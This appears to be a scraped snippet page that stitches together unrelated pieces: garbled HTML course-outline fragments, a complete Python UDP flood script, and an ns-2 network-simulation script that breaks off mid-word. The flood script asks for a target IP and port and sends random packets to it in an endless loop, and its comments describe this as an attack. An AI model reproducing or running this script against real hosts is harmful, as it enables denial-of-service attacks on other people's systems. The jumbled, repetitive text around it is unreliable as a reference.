Code for Reference Overview of HTML and CSS Tags, Elements, Attributes, and Content, Displaying Text in HTML, Displaying Images and Linking Documents in HTML Index.html 20480 RECORDING PRACTICE Welcome to 20480 PRACTICE HTML PRACTICE Elements consist of content bookended by a start tag and an end tag. An Introduction to HTML In this module, we look at the history of HTML and CSS. In the Beginning WorldWideWeb was created by Sir Tim Berners-Lee at CERN. Notepad Textmate Notepad Textmate Visual Studio Visual Studio Notepad Textmate Notepad Textmate Visual Studio Visual Studio The dl, dd, and dt elements These three elements are used to create a description list: Coffee Black hot drink Milk White cold drink go to visual code website-separate page go to visual code website-self page To
import socket import random sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket bytes=random._urandom(1362) #Creates packet ip=raw_input('Target IP: ') #The IP we are attacking port=input('Port: ') #Port we direct to attack sent= 0 while 1: #Infinitely loops sending packets to the port until the program is exited. sock.sendto(bytes,(ip,port)) print "Sent %s amount of packets to %s at port %s." % (sent,ip,port) sent= sent + 1
#Create a simulator object set ns [new Simulator] #Tell the simulator to use dynamic routing $ns rtproto DV/LS #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf #Define a 'finish' procedure proc finish {} { global ns nf $ns flush-trace #Close the trace file close $nf #Execute nam on the trace file exec nam out.nam & exit 0 } #Create seven nodes for {set i 0} {$i < 7} {incr i} { set n($i) [$ns node] } #Create links between the nodes for {set i 0} {$i < 7} {incr i} { $ns duplex-link $n($i) $n([expr ($i+1)%7]) 1Mb 10ms DropTail } #Create a UDP agent and attach it to node n(0) set udp0 [new Agent/UDP] $ns attach-agent $n(0) $udp0 # Create a CBR traffic source and attach it to udp0 set cbr0 [new Application/Traffic/CBR] $cbr0 set packetSize_ 500 $cbr0 set interval_ 0.005 $cbr0 attach-agent $udp0 #Create a Null agent (a traffic sink) and attach it to nod
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